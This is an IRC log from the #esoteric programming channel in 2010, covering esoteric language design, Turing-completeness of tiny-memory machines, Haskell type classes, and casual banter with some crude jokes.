22:15:42 <cpressey> alise: Well, the 'list' labels actually make a lot of sense to me.
22:15:44 <alise> A nice thing we can have from this is that a scope/environment/whatever just has variable names as the graph annotations.
22:15:45 <Quadrescence> augur: Clearly we are talking about categorical monadic parser combinators and language grammars
22:15:56 <alise> cpressey: I think I'll have a typing system apart from such annotation, though.
22:16:02 <augur> language grammars?!
22:16:05 <augur> hellll yeah
22:16:10 <augur> lets talk bout some grammars
22:16:11 <cpressey> they kind of reflect: data List = List head tail | Nil
22:16:12 <Quadrescence> Yes
22:16:13 <augur> :D
22:16:17 <Quadrescence> okay i love grammars
22:16:26 <cpressey> You need to keep repeating "List" there to conform to the "grammar" of the data type.
22:16:28 <augur> have i shown you my contributions to wikipedia?
22:16:31 <Quadrescence> no
22:16:32 <alise> cpressey: I see what you mean.
22:16:34 <augur> o man
22:16:48 <cpressey> (Everyone kept saying "grammar" so I typed it in what I was typing. Scary.)
22:16:49 <Quadrescence> I remember you though from whatever irc channel augur.
22:17:01 <augur> ##compsci
22:17:04 <Quadrescence> yes
22:17:07 <alise> But in a "graphy" language, we would say that both nil, and any node with two arcs annotated 'head and 'tail, where the latter obeys these same constraints, is a list.
22:17:11 <augur> or maybe ##proglang
22:17:16 <Quadrescence> chomsky hierarchy
22:17:18 <augur> somewhere in that direction
22:17:20 <cpressey> alise: I can see why you would want to cut it out though, it's all so.... verbose.
22:17:32 <scarf> augur: do you have to be Ada Lovelace to register #proglang?
22:17:32 <alise> cpressey: Yes. Would you rather right
22:17:33 <alise> *write
22:17:35 <alise> {'left :> {'left :> 1; 'right :> 3}; 'right :> {'left :> 2; 'right :> 4}}
22:17:36 <alise> or
22:17:54 <alise> i can't even bring myself to write it
22:17:55 <alise> too ugly
22:18:11 <cpressey> (1:3):(2:4) ?
22:18:20 <augur> Quadrescence: http://toolserver.org/~soxred93/pages/index.php?name=Augur&namespace=0&redirects=noredirects
22:18:21 <alise> no, the same but with tree labels everywhere
22:18:27 <alise> what you said would be sugar :P
22:18:27 <cpressey> oh
22:18:33 <cpressey> yeaaaaahhhh no.
22:18:40 <alise> yeah no to what?
22:18:51 <cpressey> no, i wouldn't want to write it either.
22:19:02 <alise> yeah
22:19:04 <augur> i also added to the Indexed grammar page and the Combinatory categorial grammar page
22:19:09 <Quadrescence> augur: wow
22:19:41 <alise> cpressey: Cool thing about scopes just being graphs with variable names as arc annotations: We can have a thing for "in scope" which lets us add stuff to a graph without naming it each time, and this is the same as our scoping operator.
22:19:56 <augur> Quadrescence: the controlled grammar article took about a week
22:19:59 <cpressey> Yes.
22:20:14 -!- breeden has joined.
22:20:17 <alise> It also relates to the tuple-space of languages such as K: every single thing in the environment can be accessed by a list of names relative to the root of the environment.
22:20:23 <cpressey> Ugh, graph of free variables in outer closures etc.
22:20:40 -!- breeden has left (?).
22:20:46 <Quadrescence> augur: this is the very important stuff I have done http://en.wikipedia.org/wiki/Special:Contributions/Quadrescence
22:21:14 <augur> i see!
22:21:22 <alise> I guess functions should be "abstract nodes"; if we have a natural being {'pred :> natural} | 'zero - so e.g. {'pred :> {'pred :> 'zero}} is 2, then we can say 2 'pred = 1.
22:21:28 <alise> So it is natural to wish for 2 'succ = 3.
22:21:30 <augur> no pages created :(
22:21:51 <Quadrescence> yeah
22:22:00 <cpressey> alise: Your omission of 'list labels also permits "duck typing", for better or wose: anything that works on things that have lefts and rights, works on your structure.
22:22:00 <Quadrescence> I am too cool I guess
22:22:04 <alise> But does this belong in the ubergraph itself or just as sugar in the language? After all, the whole idea is that the language is just syntax to describe graphs, and some graphs are typed and interpreted as programs.
22:22:15 <augur> TOO LAME YOU MEAN
22:22:15 <alise> cpressey: Yes. I'm planning some sort of typing, though; just have to think about it first.
22:22:17 <augur> :P
22:22:24 <Quadrescence> augur: yeah true
22:22:29 <Quadrescence> augur: I do write stuff though
22:22:41 <Quadrescence> like I am writing a BOOK
22:23:04 -!- kar8nga has quit (Remote host closed the connection).
22:23:05 <augur> im a total grammar nerd, and i tried looking for a lot of these grammars but couldnt find anything
22:23:11 <alise> cpressey: In that group language of yours, the concatenation of a program with itself isn't the inverse, right? You have a separate inversing function of sorts.
22:23:11 <augur> so i did research, found papers, books, etc.
22:23:18 <alise> So that part of languagespace is still open for my design.
22:23:19 <augur> then wrote the wikipedia articles, for future curiousiters
22:23:30 <AnMaster> wth:
22:23:30 <AnMaster> http://www.lspace.org/books/apf/reaper-man.html#p1516
22:23:37 <AnMaster> " If you have access to the Internet, you can find an online version of this story at the URL:
22:23:37 <AnMaster> <ftp://ftp.uu.net/doc/literary/obi/Edgar.Allan.Poe/The.Pit.And.The.Pendulum.Z> "
22:23:40 <Quadrescence> augur: Maybe you can help me design some syntax then
22:23:43 <AnMaster> what do they think
22:23:45 <cpressey> alise: Correct. In general xx != e
22:23:46 <AnMaster> on a website...
22:23:47 <augur> maybe!
22:23:55 <Quadrescence> Since my biggest concern for syntax is making the grammar easy peasy
22:24:03 <alise> AnMaster: APF Chapter 3: Discworld Annotations
22:24:12 <alise> http://www.lspace.org/books/apf/
22:24:12 <Quadrescence> like lisp :)))))))))))))))))
22:24:13 <cpressey> alise: You have to find x' for which xx' = e. But x' exists (well, in the fixed version, it does.)
22:24:14 <alise> Organisation: Unseen University
22:24:14 <alise> Newsgroups: alt.fan.pratchett,alt.books.pratchett
22:24:19 <augur> well, grammar for what
22:24:22 <alise> 'nuff said
22:24:30 <Quadrescence> augur: a programmin' lang'
22:24:35 <alise> cpressey: Right. What I'd like is xx = e.
22:24:42 <augur> i see
22:24:43 <AnMaster> alise, hm good point
22:24:50 <augur> well, most programming languages have context free grammars
22:24:52 <augur> so
22:25:08 <cpressey> alise: ... good luck. :)
22:25:20 <Quadrescence> maybe I shouldn't be simple
22:25:23 <alise> cpressey: That ... is the sound of the language being useless, isn't it?
22:25:26 <Quadrescence> Maybe I should be complex but elegant
22:25:38 <cpressey> alise: That is the sound of my brain stopping.
22:25:45 <augur> Quadrescence: its often quite hard to find a reason why you would want the extra complexity
22:25:48 <alise> Well, bit-flipping does it.
22:26:01 -!- dev_squid has joined.
22:26:07 <augur> natural language has it, as far as i can tell, solely for efficiency
22:26:13 <Quadrescence> augur: Well, the language in design is very complex itself.
22:26:16 <dev_squid> Hey guys.
22:26:17 <augur> but computers have no need for this.
22:26:20 <alise> And say we have some piece of state s=0 normally, and have an operation meaning "if s=0, move left, if s=1 move right. flip s"
22:26:22 <Gregor> dev_squid: calamari?
22:26:25 <augur> ok, tell me about this language
22:26:33 <dev_squid> Gregor, heheh. Sorry?
22:26:49 <dev_squid> Glad to see #esoteric is still active.
22:26:50 <lament> Quadrescence: will your language be used to program underwater exploration robots?
22:26:56 <Quadrescence> lament: yes
22:27:07 <Gregor> *confused*
22:27:15 <Gregor> dev_squid: Was asking if this is an alt nick for the one known as "calamari" :P
22:27:32 <Quadrescence> augur: It is as statically typed as possible, but it is very dynamic in nature, um...., it will be used for mathematics
22:27:52 <Quadrescence> primarily for math
22:27:55 <alise> It is flexible yet rigid, hard yet soft
22:27:59 <Quadrescence> yes
22:28:02 <lament> my cock?
22:28:08 <pikhq> dev_squid: Thou art... Who?
22:28:08 <Quadrescence> non-newtonian fluid like
22:28:25 <Quadrescence> and lament-cock like
22:28:25 <dev_squid> pikhq, I used to hang around here a while ago.
22:28:32 <dev_squid> Gregor, nah.
22:28:36 <pikhq> dev_squid: Yes, just don't recall the nick.
22:28:38 <alise> dev_squid: I bet there wasn't so much gay sex then.
22:28:47 <pikhq> And I've been around for quite some time.
22:28:48 <Gregor> Wow >_>
22:28:48 <dev_squid> alise, is there now?
22:28:58 <dev_squid> alise, o.o
22:29:02 <Quadrescence> augur: I don't know, maybe I'll tell you about it more later
22:29:03 <augur> dev_squid: yes >)
22:29:04 <pikhq> Pray tell, what nick did you use?
22:29:24 <alise> dev_squid: Well, sometimes.
22:30:21 <pikhq> Apparently dev_squid had not a nick in the past.
22:30:21 <dev_squid> Anyway, just to clear up this issue that's been bothering me for a while...if you limit a language to only being able to deal with two bytes of storage (i.e. RAM), can it still be turing-complete?
22:30:32 <alise> No.
22:30:38 <dev_squid> Why not?
22:30:42 <Quadrescence> *deal* with? yes
22:30:46 <Quadrescence> *only have*? no
22:30:49 <dev_squid> pikhq, this is my new computer.
22:30:50 <alise> dev_squid: Because it can't.
22:30:54 <pikhq> Because a Turing-complete language must have unbounded memory.
22:31:01 <dev_squid> True, true.
22:31:11 <pikhq> dev_squid: Still not informing me about what nick you had previously. ;)
22:31:16 <Gregor> Waaaaait wait
22:31:20 <Quadrescence> dev_squid: You can manipulate two bytes at a time and be turing complete
22:31:26 <Gregor> If it can only have two bytes of storage, but can have I/O, it may still be TC.
22:31:38 <dev_squid> But could you DO anything in a 2-byte environment that you could do in a fully turing-complete environment?
22:31:49 <alise> Gregor: Not without fixed IO sources...
22:32:02 <augur> dev_squid: there isnt a machine in existence that is turing complete.
22:32:12 <augur> its not even theoretically possible to build a turing complete machine.
22:32:18 <alise> he didn't say so
22:32:20 <lament> dev_squid: all your machine has is 2 bytes?
22:32:27 <Gregor> alise: I didn't say /any/ I/O would make it TC, but it's possible that I/O would be sufficient, with the right kind of I/O.
22:32:28 <lament> 16 bits of memory?
22:32:33 <pikhq> augur: Hey, I've got spools of unbounded tape right here!
22:32:43 <augur> pikhq: ;)
22:32:45 <augur> you would
22:33:09 <alise> Hey, I've already made the I-am-a-turing-machine-and-my-genitalia-comprise-the-tape joke.
22:33:15 <cpressey> dev_squid: For any program you can write for your 2-byte computer, I can tell whether it will halt eventually, or not. Therefore it's not TC.
22:33:22 <augur> so the technical answer to your question, dev_squid, is no, your machine aint turing complete. but that doesnt matter. its a proper subclass of the turing machines, those that are Turing Complete-enough
22:33:24 <alise> Including the corollary wrapping-universe-so-I-am-actually-sexing-myself-up subjoke.
22:33:31 <lament> dev_squid: someone has built a 4-bit computer, that's way sexier.
22:33:34 * pikhq greps logs for dev_squid
22:33:35 <alise> cpressey: OR CAN YOU
22:33:40 <augur> alise: o mai
22:33:46 <dev_squid> cpressey, alright, alright. I didn't put that question very clearly.
22:33:47 <pikhq> Definitely never had someone using that nick here.
22:33:47 <augur> ur gettin me hawt
22:33:48 <cpressey> alise: Well, not me personally. My hordes of servants.
22:33:52 <dev_squid> But I get it now.
22:33:53 <alise> augur: not turing complete enough if it only has one bit of address
22:34:00 <alise> then it cannot be made tc without serious graft surgery
22:34:07 <augur> alise: depends on how you handle memory.
22:34:18 <alise> depends on how your mom handles memory
22:34:29 <augur> i dont think she handles memory well
22:34:35 <alise> precisely
22:34:46 <lament> i popped your mom's stack
22:34:57 <augur> unfortunate
22:35:33 -!- tombom_ has quit (Quit: Leaving).
22:35:53 <dev_squid> I was just wondering if it's viable (not practical!) to construct a language that only allows the programmer to operate on two bytes of RAM on bit at a time.
22:35:59 <dev_squid> It would make quite the challenge.
22:36:11 * pikhq continues to enquire
22:36:37 <alise> Hey, I think that my language should allow multi-word symbols.
22:36:39 <alise> Just cause.
22:36:44 <augur> dev_squid: operate on, or address using?
22:36:49 <lament> so smallfuck with 16-cell memory
22:37:07 <lament> (for example)
22:37:09 <augur> like, the programmed can address an arbitrary number of memory cells, each of which is only 2 bytes?
22:37:22 <augur> programmer**
22:37:28 <dev_squid> augur, no.
22:37:32 <pikhq> Hrm. Who hasn't been around in sufficient time to be surprised #esoteric's still active?
22:37:40 <lament> me
22:37:45 <cpressey> me
22:37:54 <alise> pikhq: hcf
22:37:55 <cpressey> No wait, ...
22:37:55 <augur> dev_squid: ok, clarify then?
22:37:57 <dev_squid> Think of brainfsck where you're inconvenienced by having two bytes of data space to work with.
22:37:59 <pikhq> Who's been *gone* for sufficient time.
22:38:03 <lament> me
22:38:07 <alise> dev_squid: *Brainfuck.
22:38:11 <cpressey> ... ok, right. me.
22:38:18 <augur> dev_squid: i dont know jack shit about brainfuck.
22:38:25 <lament> cpressey was gone forever
22:38:26 <pikhq> cpressey: Ah, right.
22:38:30 <lament> and me, slightly less than that
22:38:40 <dev_squid> alise, I don't really know the rules on profanity, so I just went with brainfsck.
22:38:52 <cpressey> lament: When did you wander back? Must have been shortly before me, I reckon.
22:39:02 <alise> Fucking hell, you think we give a shit about profanity? Only an utter cunt would do that!
22:39:02 <cpressey> (Pard'ner.)
22:39:06 <alise> (Just doing my job to lower signal/noise.)
22:39:09 <dev_squid> Heheh.
22:39:10 <pikhq> dev_squid: Profanity? Yes please.
22:39:13 <alise> cpressey: He's been here intermittently forever.
22:39:20 <augur> alise: you watch your mouth!
22:39:22 <alise> He's just shocked every single day we still exist.
22:39:24 <lament> cpressey: i'm not sure. there was a dark ages kind of period in the history of #esoteric
22:39:26 * augur slaps alise cross the mouth
22:39:29 <augur> kids these days
22:39:32 <alise> lament: yes, all of it
22:39:51 <lament> no, it was pretty cool before you joined
22:39:52 <alise> lament: i made the sparkline, ma'am. activity has been /steadily rising/ since the start, and has never gone significantly down
22:40:02 <alise> lament: lawl
22:40:13 <lament> by dark ages i mean noise-to-signal, not volume
22:40:42 <lament> i remember something about razor-x and anime.
22:40:46 <lament> lots and lots of anime discussions.
22:41:00 <alise> i remember seeing you whine about that when feeding everything to that kicker bot thing :D
22:41:19 <alise> also signal/noise presumably, so that it gets lower as quality is shittier
22:41:50 <lament> what
22:42:31 <alise> not noise/signal
22:42:49 <augur> lament! :o
22:42:55 <augur> hey changod
22:43:02 <alise> no that's andreou
22:43:04 <augur> hows the changoddery
22:43:12 <augur> close enough
22:43:43 <lament> i'm not god :(
22:44:02 <augur> but dont you have ...
22:44:06 <augur> THE POWER?
22:44:13 <alise> scarf: my language seems to unintentionally have autovivification, yet it is totally "pure" i.e. no hacky stuff. do you approve?
22:44:19 <scarf> yes
22:44:28 <augur> i think i need to go shopping
22:44:31 <augur> bye
22:44:38 <lament> i have godlike powers, sure
22:44:38 <dev_squid> Here's my idea: a language which can only operate on one bit at a time of one of two bytes in memory...your'd have your standard bitwise operators like AND, OR, XOR, and NOT, except these took bits as operands, not bytes like an 8-bit processor. I guess you could say it (sort of) simulates machine language of a 1-bit processor...sort of.
22:44:49 <dev_squid> *you'd
22:45:02 <lament> dev_squid: this language would be... limited.
22:45:08 <dev_squid> lament, very.
22:45:15 -!- adu has quit (Quit: adu).
22:45:25 <lament> is it a von neumann machine?
22:45:32 <dev_squid> Well...
22:45:33 <lament> are programs limited to being 2 characters long?
22:45:48 <dev_squid> lament, no.
22:45:59 <lament> lame
22:46:13 <lament> the 4-bit computer people have built is a von-neumann machine
22:46:49 <cpressey> dev_squid: I'm sure there are some (small) problems such a computer could solve
22:47:02 <cpressey> operative word there being, uh, small.
22:47:16 <lament> it could easily add 1 and 2
22:47:56 <MissPiggy> dev_squid, how many bits in a bit?
22:47:59 <pikhq> The only thing making that actually do anything at all is not being Von Neumann..
22:48:18 <alise> scarf: don't suppose you're interested in the details?
22:48:21 <dev_squid> I'll come back later when I've formulated a better explanation. I'm confusing myself even.
22:48:33 <scarf> alise: no, busy having a flamewar atm
22:48:39 <alise> heh, about what?
22:48:45 -!- oerjan has joined.
22:49:20 <cpressey> if hasattr(xyz, 'xyz'): self.xyz = xyz.xyz
22:49:41 <cpressey> That's what's been causing me so much pain. (The names were changed to protect the "innocent".)
22:50:01 <pikhq> ...
22:50:34 <cpressey> This is what happens when you mix subclass-based inheritance with delegation at your whim.
22:50:40 <cpressey> MUD.
22:50:48 <cpressey> anywho
22:50:54 <MissPiggy> help alise
22:51:17 <alise> MissPiggy: wut
22:51:25 <MissPiggy> alise what about haskell'
22:51:34 <dev_squid> I could always make it where you have [8 bits][1-bit swap space][8 bits]. Basically, you can toggle which 8-bit cell you're operating on, while also being able to pass data between the two via the 1-bit swap cell. It wouldn't be a realistic model by any means, but it'd be interesting.
22:51:40 <MissPiggy> which is basically nothing at all but you have so many extensions you can turn it into anything
22:52:03 <alise> MissPiggy: What about it?
22:52:18 <MissPiggy> that' s my idea
22:52:39 <dev_squid> Anyway, I love minimalistic or limiting esolangs because when you manage to write a working program in them, you feel much more accomplished...IMHO.
22:52:49 <alise> MissPiggy: well that's the reality of haskell today :P
22:53:49 <alise> Actually, I really have to have anonymous nodes with named arcs, I think: because I really can't have nodes all being unique.
22:53:58 <alise> George --- name --- something, Robert --- name --- something.
22:54:01 <alise> Krr, name is duplicate.
22:54:12 <alise> Or is there a name for a graph where you can have duplicate nodes?
22:54:38 <cpressey> MissPiggy: http://hackage.haskell.org/trac/haskell-prime/ ?
22:55:26 <MissPiggy> no
22:55:36 <cpressey> their "Haskell 2010" sounds like hell
22:55:51 <MissPiggy> yeah
22:56:11 <alise> Hell how?
22:56:18 <alise> Haskell 2010 is just a standardisation of, well, GHC.
22:56:30 <oerjan> <AnMaster> for integer exponents it is trivial to implement. Somewhat more involved for non-integers.
22:56:48 <cpressey> Well, if GHC is to Haskell as gcc is to C, ...
22:57:30 <alise> It's not, though? :P
22:57:33 <oerjan> haskell has three different power functions, dependent on whether the underlying type allows just multiplication, allows division, or allows general powers
22:57:41 <alise> oerjan: wait what's the third
22:57:44 <alise> I know ^ and **
22:57:47 <Deewiant> ^^
22:58:30 <oerjan> you cannot implement the last one (**) cleanly for rationals
22:58:44 <pikhq> alise: Haskell 2010 is not a standardisation of GHC.
22:58:50 <alise> didn't even know of ^^
22:58:53 <pikhq> It's a standardisation of a handful of GHC extensions.
22:58:59 <alise> pikhq: shaddap
22:58:59 <alise> :P
22:59:25 <oerjan> alise: it's defined for rationals, but it won't help you take cube roots alas
22:59:36 <oerjan> ((^^))
22:59:48 <MissPiggy> desu
23:00:00 * cpressey was waiting for that
23:00:28 <cpressey> btw, is there some way to get Hugs to tell me what types implement a particular type class?
23:00:36 <alise> cpressey: Step one, don't use Hugs.
23:00:42 <cpressey> :(
23:00:53 <cpressey> You're going to make me wait for all my crap to COMPILE, aren't you.
23:00:58 <alise> cpressey: ghci
23:00:59 <oerjan> i think the idea of a cell containing 5/3 bits is hard to think about logically. 3 of them should give 32 possibilities, but how do you achieve this consistently? maybe it's something quantum :D
23:01:05 <alise> Compiles on the spot, interactive like hugs.
23:01:09 <alise> runghc foo.hs
23:01:14 <alise> Runs the program like a script interpreter.
23:01:38 <alise> Hugs doesn't even have the latest major version of the standard library, which changed quite a bit.
23:01:42 <cpressey> alise: OK, I'll give it a shot.
23:01:43 <alise> Does it even have 3?
23:02:04 <pikhq> Hugs is like... Dead.
23:02:18 <cpressey> alise: I'll give it a shot if it can tell me what types implement Integral.
23:02:28 <oerjan> cpressey: even ghc cannot do it without you having loaded the modules defining the type instances, i think.
23:03:08 <cpressey> Maybe I'll just stick to Visual Basic.
23:03:09 <oerjan> otoh the web documentation frequently lists types defining a particular class
23:03:22 <oerjan> although maybe that's module-dependent too
23:03:23 <cpressey> oerjan: I couldn't find it in the docs, that's why I was curious.
23:03:37 <cpressey> What, besides the various integery types, implement Integral?
23:03:44 <MissPiggy> nnone
23:03:46 <MissPiggy> none
23:03:47 <MissPiggy> nnone
23:03:47 <MissPiggy> nnone
23:03:53 <alise> Prelude> :info Integral
23:03:53 <alise> class (Real a, Enum a) => Integral a where
23:03:54 <alise> quot :: a -> a -> a
23:03:54 <alise> rem :: a -> a -> a
23:03:54 <alise> div :: a -> a -> a
23:03:55 <alise> mod :: a -> a -> a
23:03:55 <alise> quotRem :: a -> a -> (a, a)
23:03:55 <alise> divMod :: a -> a -> (a, a)
23:03:56 <alise> toInteger :: a -> Integer
23:03:56 <alise> -- Defined in GHC.Real
23:03:56 <alise> instance Integral Integer -- Defined in GHC.Real
23:03:57 <alise> instance Integral Int -- Defined in GHC.Real
23:03:59 <alise> (Sorry for the flood.)
23:04:02 <alise> Import more modules, get more Integrals.
23:04:11 <cpressey> alise: Thank you.
23:04:14 <oerjan> cpressey: in addition to the standard Int and Integer, the Int* and Word* types from Data.Int and Data.Word
23:04:19 <alise> Of course you can't just say "import *" then look.
23:04:30 <oerjan> are the ones i know of
23:06:00 -!- scarf has quit (Remote host closed the connection).
23:07:49 <oerjan> cpressey: http://www.haskell.org/ghc/docs/latest/html/libraries/base/Prelude.html has a sizable list a way down
23:08:07 <cpressey> oerjan: Thanks.
23:08:23 <oerjan> http://www.haskell.org/ghc/docs/latest/html/libraries/base/Prelude.html#7
23:08:39 <oerjan> is the closest anchor i could find
23:08:45 <cpressey> haskell.org is not responding for me, lovely
23:09:06 <cpressey> oh, it's just reeeeeally slow
23:09:08 <oerjan> oh? i just brought it up
23:11:30 <oerjan> i guess most of those are for the ffi, lots of C types
23:12:26 <oerjan> and of course those are at most the instances that come with ghc. other packages can define their own.
23:12:34 <alise> I finally made a channel for my system/language/thingy. #usys
23:20:27 <oerjan> let's say you have 6 * 5/3 bits in a row. that is 10 bits. now you should be able to read off 5 bits starting from _any_ of the 4 first 5/3 blocks.
23:20:51 <alise> heh
23:21:34 -!- Asztal has joined.
23:22:08 -!- Azstal has quit (Ping timeout: 245 seconds).
23:22:11 <oerjan> also, if you read off 5 bits from overlapping areas, you should be able to deduce all other 5 bit offsets inside that same area
23:22:29 <oerjan> *from two overlapping areas
23:23:08 <oerjan> this is probably enough to get a logical inconsistency
23:23:41 <MissPiggy> alise
23:24:47 <oerjan> hm more generally you should be able to take any three 5/3 bits and combine them into a 5 bit value
23:26:21 <oerjan> maybe there is some mad sort of logic where this kind of thing is allowed. i've vaguely heard that toposes replace boolean truth values with something else...
23:27:07 <oerjan> (varying by topos)
23:29:20 -!- dev_squid has quit (Ping timeout: 246 seconds).
23:30:47 -!- dev_squid has joined.
23:35:52 -!- Oranjer has left (?).
23:36:58 <augur> heeeeeyo
23:37:43 <oerjan> yoooyo
23:38:31 <augur> ma
23:46:41 -!- angstrom has joined.
23:51:09 <oerjan> !haskell data Nat nat = Succ nat deriving Show; main = print . Succ . Succ . Succ $ "Test"
23:51:19 <EgoBot> Succ (Succ (Succ "Test"))
23:51:23 <oerjan> hah
23:51:35 <augur> BAI NAO
23:52:02 <oerjan> alise: your Show instance for Nat back when was just the usual derived one
23:53:16 <alise> oerjan: hm right
23:53:27 <alise> why hah?
23:53:41 <oerjan> or almost. it left out the parentheses around "Test".
23:53:54 <oerjan> alise: because you didn't notice it?
23:54:06 <alise> well i was being careful :)
2010-03-02
00:10:06 -!- jcp has joined.
00:14:34 <augur> in ruby, "test".succ.succ.succ (or whatever the term is in ruby; next? whatever) would be tesw
00:16:47 <oerjan> !haskell instance Enum String where succ s = init s ++ [succ (last s)]; main = print . succ . succ . succ $ "test"
00:16:59 <oerjan> grmbl
00:17:12 <oerjan> !haskell instance Enum String where {succ s = init s ++ [succ (last s)]}; main = print . succ . succ . succ $ "test"
00:17:51 <oerjan> !haskell {-# LANGUAGE TypeSynonymInstances #-}instance Enum String where {succ s = init s ++ [succ (last s)]}; main = print . succ . succ . succ $ "test"
00:18:44 <oerjan> *sigh* i guess there is no way to turn off warnings about undefined methods without defining them all :(
00:19:30 <oerjan> !haskell {-# LANGUAGE TypeSynonymInstances #-}instance Enum String where {succ s = init s ++ [succ (last s)]; fromEnum = undefined; toEnum = undefined}; main = print . succ . succ . succ $ "test"
00:19:33 <EgoBot> "tesw"
00:23:41 <alise> succ ['a','b',succ maxBound]
00:23:44 <alise> you need wrapping son
00:24:15 <oerjan> i'd think that should give a carry, actually
00:25:00 <Sgeo_> What does succ a_list supposed to mean?
00:25:19 <Sgeo_> Grammar fail
00:25:50 <oerjan> Sgeo_: i think version strings is one of the intended cases
00:26:00 <oerjan> *use cases
00:26:35 <oerjan> ruby may do something more complicated than just looking at the last character for all i know
00:27:00 <oerjan> like, what is "test9".succ ?
00:27:35 <Sgeo_> I think tryruby.com has a ruby interpreter
00:27:42 <Sgeo_> Or some similar URL
00:27:55 <alise> no, that's why's
00:27:58 <alise> and why killed himself
00:28:07 <Sgeo_> alise, WHAT?
00:28:16 <alise> Sgeo_: person-behind why killed the-persona why.
00:28:22 <Sgeo_> Oh, ok
00:28:23 <alise> (deleted all online accounts, code and websites)
00:28:36 <oerjan> hm
00:28:46 <alise> Sgeo_: i don't find it any less sad, it's not like person-behind-why will be exactly like why, a lot of it will be an act of sorts - or at least a costume
00:28:52 <alise> and we'll never contact them anyway
00:28:54 <alise> irb(main):001:0> "test9".succ
00:28:54 <alise> => "tesu0"
00:28:57 <alise> tesu tesu tesu
00:29:20 <Sgeo_> alise, but it means the person isn't dead.
00:29:39 <MissPiggy> ;_;
00:29:48 <Sgeo_> Although it is upsetting that we'll never speak to Why again, probably [and even that isn't definite, unlike RL death]
00:29:51 <MissPiggy> it's so useless being ill because even though i'm not at school I can't work on my own stuff
00:30:03 <alise> MissPiggy: just lie in bed and chill
00:30:10 <alise> Sgeo_: he's not coming back
00:30:11 <Sgeo_> MissPiggy, severely ill, or known-to-be-temporarily-ill?
00:30:23 <Sgeo_> alise, how do we know this?
00:30:24 <alise> and, do you care about some random person dying that you don't know? don't lie, you don't
00:30:30 <alise> the sad event is that persona why is gone
00:30:39 <MissPiggy> just a bit ill
00:30:42 <alise> Sgeo_: well, the probability is almost 0
00:30:54 <alise> he completely wiped out everything, he had been a bit pessimistic about programming on his twitter just before
00:31:01 <alise> and it was an /utter/ wipeout of EVERYTHING
00:31:04 <oerjan> MissPiggy: famous last words
00:31:11 * oerjan whistles innocently
00:31:33 <alise> It's a little bit of cancer.
00:31:34 <MissPiggy> alise, what's that "a bit pessimistic"
00:31:35 <MissPiggy> ?
00:31:39 <MissPiggy> would love to read what it was
00:32:23 <alise> MissPiggy: wasn't much interesting "blah blah programming is ephemeral the only things that truly survive are games; people will do anything to keep games running; if you want your stuff to last make it a game" which seems... false, but whatever
00:32:43 <cpressey> which means esolangs will outlive all other languages
00:32:44 <cpressey> later
00:32:46 -!- cpressey has left (?).
00:33:12 <MissPiggy> alise huh. well i guess it's lost forever/
00:33:12 <MissPiggy> ?
00:33:32 <alise> not quite
00:33:41 <Sgeo_> There are games, good games, that don't survive
00:34:14 <alise> can't find it. but there is a mirror of most stuff
00:34:15 <Sgeo_> Although that's mostly online games
00:34:26 <alise> http://github.com/whymirror is code, can't remember where the writing stuff is
00:35:22 <MissPiggy> HE LOOKS LIKE JACK BLACK
00:35:40 <alise> he does
00:37:17 <MissPiggy> wugh
00:37:24 <MissPiggy> zed shaws opinions can fuck off
00:38:11 <alise> yeah he's a dick
00:38:18 -!- dev_squid has quit (Ping timeout: 265 seconds).
00:42:34 -!- Azstal has joined.
00:42:42 -!- Asztal has quit (Ping timeout: 268 seconds).
00:48:41 <alise> MissPiggy: join #usys :|
00:49:03 -!- Azstal has quit (Quit: .).
00:50:59 -!- jcp has changed nick to devmarlen.
00:51:23 -!- devmarlen has quit (Changing host).
00:51:23 -!- devmarlen has joined.
00:52:01 -!- devmarlen has quit (Changing host).
00:52:01 -!- devmarlen has joined.
00:52:39 -!- devmarlen has changed nick to multimarlen.
00:52:51 -!- multimarlen has quit (Changing host).
00:52:51 -!- multimarlen has joined.
00:53:21 -!- multimarlen has quit (Changing host).
00:53:22 -!- multimarlen has joined.
00:53:26 -!- multimarlen has changed nick to jcp.
00:57:02 <Sgeo_> http://www.stationv3.com/d/20080319.html
00:58:29 <alise> :D
00:59:10 <alise> http://www.stationv3.com/d/20080322.html
00:59:15 <alise> he stole my alternative universe syntax :(
00:59:16 <alise> (almost)
01:00:06 <oerjan> straight men are so unreliable
01:00:13 <MissPiggy> ^
01:01:26 <Gregor> ...
01:04:42 -!- augur has changed nick to OriginalSyntax.
01:05:33 <Gregor> OriginalSyntax: I can't decide if that nick is clever and hilarious or just stupid.
01:05:46 <OriginalSyntax> someone in ##proggit is OriginalSyn
01:05:49 <OriginalSyntax> so i figured
01:05:51 <OriginalSyntax> lets up the ante
01:05:54 -!- OriginalSyntax has changed nick to augur.
01:06:10 <Gregor> See, now OriginalSyn is clever and hilarious.
01:06:18 <Gregor> Because it's meaningful in both senses.
01:06:32 <Gregor> (If not a particularly useful meaning)
01:06:40 <augur> hows it meaningful in both senses?
01:06:41 <MissPiggy> hello
01:06:44 <oerjan> i find all this Syn a little taxing
01:07:37 <Gregor> augur: In a TCP session, there will be a first (and so "original") SYN.
01:08:07 <augur> i see!
01:08:40 <alise> I have to go now. I may or may not be on tomorrow; if not, probably tomorrow; if not, probably the next day... otherwise on the weekend, maybe, or even later depending.
01:08:42 <alise> But probably not never.
01:08:43 <alise> Bye!
01:08:45 -!- alise has quit (Quit: alise).
01:16:29 -!- dev_squid has joined.
01:34:16 <pikhq> Egobot's o'er here.
01:35:11 <Gregor> Uhhh, yes?
01:35:22 <Gregor> !c printf("Isn't 'e?");
01:35:27 <EgoBot> Isn't 'e?
01:36:13 <Gregor> EgoBot is just a bot anyway :P
01:39:48 <augur> http://filmdrunk.uproxx.com/2010/03/forgotten-classics-white-dog-the-racist-dog
01:39:51 <augur> i have no words
01:40:29 <pikhq> そう。
01:40:48 <MissPiggy> esu
01:41:10 <pikhq> MissPiggy: もっとです?
01:42:49 -!- adu has joined.
01:49:15 <dev_squid> I think APL should be considered an esoteric language. At first, that's what I thought it was.
01:49:30 <MissPiggy> ok
01:49:31 <dev_squid> What paradigm does APL use anyway?
01:49:36 <MissPiggy> array programming
01:49:39 <MissPiggy> vector programming
01:49:41 <dev_squid> Thought so.
01:49:44 <dev_squid> Like Lisp?
01:49:50 <MissPiggy> you can do it in lisp
01:50:17 <dev_squid> I never got around to learning Lisp, but it looks hella fun.
01:50:42 <dev_squid> Structurally, I think the language is genious.
01:50:48 <MissPiggy> you should learn it
01:51:32 <dev_squid> I should!
01:51:36 <dev_squid> That's my next project. :)
01:51:42 <MissPiggy> good D
01:52:12 <dev_squid> Is it practical for software development?
01:54:02 <pikhq> I suggest Haskell.
01:54:03 <MissPiggy> its tits
01:54:18 <pikhq> You will then realise that Haskell is fairly mundane. :P
